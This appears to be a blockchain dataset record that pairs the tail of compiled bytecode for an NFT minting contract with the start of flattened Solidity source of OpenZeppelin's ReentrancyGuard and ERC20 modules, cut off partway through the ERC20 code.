0a900460ff16905092915050565b60185481565b612a6d612e0c565b73ffffffffffffffffffffffffffffffffffffffff16612a8b6120cb565b73ffffffffffffffffffffffffffffffffffffffff1614612ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad89061551d565b60405180910390fd5b60005b8151811015612b98576001601a6000848481518110612b2c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080612b9090615a0e565b915050612ae4565b5050565b612ba4612e0c565b73ffffffffffffffffffffffffffffffffffffffff16612bc26120cb565b73ffffffffffffffffffffffffffffffffffffffff1614612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f9061551d565b60405180910390fd5b80600d9080519060200190612c2e929190614148565b5050565b612c3a612e0c565b73ffffffffffffffffffffffffffffffffffffffff16612c586120cb565b73ffffffffffffffffffffffffffffffffffffffff1614612cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca59061551d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d159061537d565b60405180910390fd5b612d2781613273565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480612df557507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80612e055750612e048261387a565b5b9050919050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16612ef383611958565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000612f4482612e14565b612f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f7a9061543d565b60405180910390fd5b6000612f8e83611958565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612ffd57508373ffffffffffffffffffffffffffffffffffffffff16612fe584610f95565b73ffffffffffffffffffffffffffffffffffffffff16145b8061300e575061300d81856129cb565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661303782611958565b73ffffffffffffffffffffffffffffffffffffffff161461308d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130849061555d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156130fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130f4906153dd565b60405180910390fd5b6131088383836138e4565b613113600082612e80565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461316391906158f2565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546131ba9190615811565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6133538282604051806020016040528060008152506139f8565b5050565b60155481836133669190615811565b11156133a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161339e906153bd565b60405180910390fd5b80600f546133b59190615898565b3410156133f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133ee906155dd565b60405180910390fd5b60135481111561343c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134339061541d565b60405180910390fd5b5050565b6000601754421061345657600f5490508061345d565b600e549050805b5061346733611494565b6134a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161349d9061565d565b60405180910390fd5b60145483856134b59190615811565b11156134f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134ed906155fd565b60405180910390fd5b82816135029190615898565b341015613544576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353b906155dd565b60405180910390fd5b601254831115613589576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135809061541d565b60405180910390fd5b60115483836135989190615811565b11156135d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135d09061557d565b60405180910390fd5b50505050565b6135ea848484613017565b6135f684848484613a53565b613635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362c9061535d565b60405180910390fd5b50505050565b6060600b805461364a906159dc565b80601f0160208091040260200160405190810160405280929190818152602001828054613676906159dc565b80156136c35780601f10613698576101008083540402835291602001916136c3565b820191906000526020600020905b8154815290600101906020018083116136a657829003601f168201915b5050505050905090565b60606000821415613715576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613875565b600082905060005b6000821461374757808061373090615a0e565b915050600a826137409190615867565b915061371d565b60008167ffffffffffffffff811115613789577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156137bb5781602001600182028036833780820191505090505b5090505b6000851461386e576001826137d491906158f2565b9150600a856137e39190615a57565b60306137ef9190615811565b60f81b81838151811061382b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856138679190615867565b94506137bf565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6138ef838383613bea565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156139325761392d81613bef565b613971565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146139705761396f8382613c38565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156139b4576139af81613da5565b6139f3565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146139f2576139f18282613ee8565b5b5b505050565b613a028383613f67565b613a0f6000848484613a53565b613a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a459061535d565b60405180910390fd5b505050565b6000613a748473ffffffffffffffffffffffffffffffffffffffff16614135565b15613bdd578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02613a9d612e0c565b8786866040518563ffffffff1660e01b8152600401613abf9493929190615272565b602060405180830381600087803b158015613ad957600080fd5b505af1925050508015613b0a57506040513d601f19601f82011682018060405250810190613b0791906145f4565b60015b613b8d573d8060008114613b3a576040519150601f19603f3d011682016040523d82523d6000602084013e613b3f565b606091505b50600081511415613b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b7c9061535d565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613be2565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001613c4584611b9a565b613c4f91906158f2565b9050600060076000848152602001908152602001600020549050818114613d34576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050613db991906158f2565b9050600060096000848152602001908152602001600020549050600060088381548110613e0f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110613e57577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480613ecc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000613ef383611b9a565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613fce906154dd565b60405180910390fd5b613fe081612e14565b15614020576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016140179061539d565b60405180910390fd5b61402c600083836138e4565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461407c9190615811565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b828054614154906159dc565b90600052602060002090601f01602090048101928261417657600085556141bd565b82601f1061418f57805160ff19168380011785556141bd565b828001600101855582156141bd579182015b828111156141bc5782518255916020019190600101906141a1565b5b5090506141ca91906141ce565b5090565b5b808211156141e75760008160009055506001016141cf565b5090565b60006141fe6141f9846156e9565b6156b8565b9050808382526020820190508285602086028201111561421d57600080fd5b60005b8581101561424d578161423388826142d3565b845260208401935060208301925050600181019050614220565b5050509392505050565b600061426a61426584615715565b6156b8565b90508281526020810184848401111561428257600080fd5b61428d84828561599a565b509392505050565b60006142a86142a384615745565b6156b8565b9050828152602081018484840111156142c057600080fd5b6142cb84828561599a565b509392505050565b6000813590506142e281615b55565b92915050565b600082601f8301126142f957600080fd5b81356143098482602086016141eb565b91505092915050565b60008135905061432181615b6c565b92915050565b60008135905061433681615b83565b92915050565b60008151905061434b81615b83565b92915050565b600082601f83011261436257600080fd5b8135614372848260208601614257565b91505092915050565b600082601f83011261438c57600080fd5b813561439c848260208601614295565b91505092915050565b6000813590506143b481615b9a565b92915050565b6000602082840312156143cc57600080fd5b60006143da848285016142d3565b91505092915050565b600080604083850312156143f657600080fd5b6000614404858286016142d3565b9250506020614415858286016142d3565b9150509250929050565b60008060006060848603121561443457600080fd5b6000614442868287016142d3565b9350506020614453868287016142d3565b9250506040614464868287016143a5565b9150509250925092565b6000806000806080858703121561448457600080fd5b6000614492878288016142d3565b94505060206144a3878288016142d3565b93505060406144b4878288016143a5565b925050606085013567ffffffffffffffff8111156144d157600080fd5b6144dd87828801614351565b91505092959194509250565b600080604083850312156144fc57600080fd5b600061450a858286016142d3565b925050602061451b85828601614312565b9150509250929050565b6000806040838503121561453857600080fd5b6000614546858286016142d3565b9250506020614557858286016143a5565b9150509250929050565b60006020828403121561457357600080fd5b600082013567ffffffffffffffff81111561458d57600080fd5b614599848285016142e8565b91505092915050565b6000602082840312156145b457600080fd5b60006145c284828501614312565b91505092915050565b6000602082840312156145dd57600080fd5b60006145eb84828501614327565b91505092915050565b60006020828403121561460657600080fd5b60006146148482850161433c565b91505092915050565b60006020828403121561462f57600080fd5b600082013567ffffffffffffffff81111561464957600080fd5b6146558482850161437b565b91505092915050565b60006020828403121561467057600080fd5b600061467e848285016143a5565b91505092915050565b6000806040838503121561469a57600080fd5b60006146a8858286016143a5565b92505060206146b9858286016142d3565b9150509250929050565b60006146cf83836151f3565b60208301905092915050565b6146e481615926565b82525050565b60006146f58261579a565b6146ff81856157c8565b935061470a83615775565b8060005b8381101561473b57815161472288826146c3565b975061472d836157bb565b92505060018101905061470e565b5085935050505092915050565b61475181615938565b82525050565b6000614762826157a5565b61476c81856157d9565b935061477c8185602086016159a9565b61478581615b44565b840191505092915050565b600061479b826157b0565b6147a581856157f5565b93506147b58185602086016159a9565b6147be81615b44565b840191505092915050565b60006147d4826157b0565b6147de8185615806565b93506147ee8185602086016159a9565b80840191505092915050565b60008154614807816159dc565b6148118186615806565b9450600182166000811461482c576001811461483d57614870565b60ff19831686528186019350614870565b61484685615785565b60005b8381101561486857815481890152600182019150602081019050614849565b838801955050505b50505092915050565b60006148866018836157f5565b91507f53616c6520686173206e6f7420737461727465642079657400000000000000006000830152602082019050919050565b60006148c6602b836157f5565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b600061492c6032836157f5565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b60006149926026836157f5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006149f8601c836157f5565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000614a38601c836157f5565b91507f6d6178204e4654207065722061646472657373206578636565646564000000006000830152602082019050919050565b6000614a786024836157f5565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614ade6019836157f5565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b6000614b1e6028836157f5565b91507f6d6178206d696e7420616d6f756e7420706572207472616e73616374696f6e2060008301527f65786365656465640000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614b84602c836157f5565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000614bea6038836157f5565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b6000614c50602a836157f5565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b6000614cb66029836157f5565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000614d1c6016836157f5565b91507f6d6178204e4654206c696d6974206578636565646564000000000000000000006000830152602082019050919050565b6000614d5c6020836157f5565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b6000614d9c602c836157f5565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000614e026020836157f5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000614e426016836157f5565b91507f74686520636f6e747261637420697320706175736564000000000000000000006000830152602082019050919050565b6000614e826029836157f5565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000614ee8601e836157f5565b91507f6d6178204e46542070726573616c65206c696d697420657863656564656400006000830152602082019050919050565b6000614f28602f836157f5565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b6000614f8e6021836157f5565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614ff46000836157ea565b9150600082019050919050565b600061500e6012836157f5565b91507f696e73756666696369656e742066756e647300000000000000000000000000006000830152602082019050919050565b600061504e6028836157f5565b91507f6d6178204e465420706572206164647265737320657863656564656420666f7260008301527f2070726573616c650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006150b46031836157f5565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b600061511a602c836157f5565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b60006151806017836157f5565b91507f75736572206973206e6f742077686974656c69737465640000000000000000006000830152602082019050919050565b60006151c0601b836157f5565b91507f6e65656420746f206d696e74206174206c656173742031204e465400000000006000830152602082019050919050565b6151fc81615990565b82525050565b61520b81615990565b82525050565b600061521d82866147c9565b915061522982856147c9565b915061523582846147fa565b9150819050949350505050565b600061524d82614fe7565b9150819050919050565b600060208201905061526c60008301846146db565b92915050565b600060808201905061528760008301876146db565b61529460208301866146db565b6152a16040830185615202565b81810360608301526152b38184614757565b905095945050505050565b600060208201905081810360008301526152d881846146ea565b905092915050565b60006020820190506152f56000830184614748565b92915050565b600060208201905081810360008301526153158184614790565b905092915050565b6000602082019050818103600083015261533681614879565b9050919050565b60006020820190508181036000830152615356816148b9565b9050919050565b600060208201905081810360008301526153768161491f565b9050919050565b6000602082019050818103600083015261539681614985565b9050919050565b600060208201905081810360008301526153b6816149eb565b9050919050565b600060208201905081810360008301526153d681614a2b565b9050919050565b600060208201905081810360008301526153f681614a6b565b9050919050565b6000602082019050818103600083015261541681614ad1565b9050919050565b6000602082019050818103600083015261543681614b11565b9050919050565b6000602082019050818103600083015261545681614b77565b9050919050565b6000602082019050818103600083015261547681614bdd565b9050919050565b6000602082019050818103600083015261549681614c43565b9050919050565b600060208201905081810360008301526154b681614ca9565b9050919050565b600060208201905081810360008301526154d681614d0f565b9050919050565b600060208201905081810360008301526154f681614d4f565b9050919050565b6000602082019050818103600083015261551681614d8f565b9050919050565b6000602082019050818103600083015261553681614df5565b9050919050565b6000602082019050818103600083015261555681614e35565b9050919050565b6000602082019050818103600083015261557681614e75565b9050919050565b6000602082019050818103600083015261559681614edb565b9050919050565b600060208201905081810360008301526155b681614f1b565b9050919050565b600060208201905081810360008301526155d681614f81565b9050919050565b600060208201905081810360008301526155f681615001565b9050919050565b6000602082019050818103600083015261561681615041565b9050919050565b60006020820190508181036000830152615636816150a7565b9050919050565b600060208201905081810360008301526156568161510d565b9050919050565b6000602082019050818103600083015261567681615173565b9050919050565b60006020820190508181036000830152615696816151b3565b9050919050565b60006020820190506156b26000830184615202565b92915050565b6000604051905081810181811067ffffffffffffffff821117156156df576156de615b15565b5b8060405250919050565b600067ffffffffffffffff82111561570457615703615b15565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156157305761572f615b15565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff8211156157605761575f615b15565b5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600061581c82615990565b915061582783615990565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561585c5761585b615a88565b5b828201905092915050565b600061587282615990565b915061587d83615990565b92508261588d5761588c615ab7565b5b828204905092915050565b60006158a382615990565b91506158ae83615990565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156158e7576158e6615a88565b5b828202905092915050565b60006158fd82615990565b915061590883615990565b92508282101561591b5761591a615a88565b5b828203905092915050565b600061593182615970565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156159c75780820151818401526020810190506159ac565b838111156159d6576000848401525b50505050565b600060028204905060018216806159f457607f821691505b60208210811415615a0857615a07615ae6565b5b50919050565b6000615a1982615990565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415615a4c57615a4b615a88565b5b600182019050919050565b6000615a6282615990565b9150615a6d83615990565b925082615a7d57615a7c615ab7565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b615b5e81615926565b8114615b6957600080fd5b50565b615b7581615938565b8114615b8057600080fd5b50565b615b8c81615944565b8114615b9757600080fd5b50565b615ba381615990565b8114615bae57600080fd5b5056fea2646970667358221220812bad479cfc0de1735889a315c25f7e17a7b82575c0c704ffc44da1bdc05c0e64736f6c63430008000033
[ 5, 7, 12 ]
0xf3116fe10ddc154ef0687702b9bcf839f0bee19e
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated 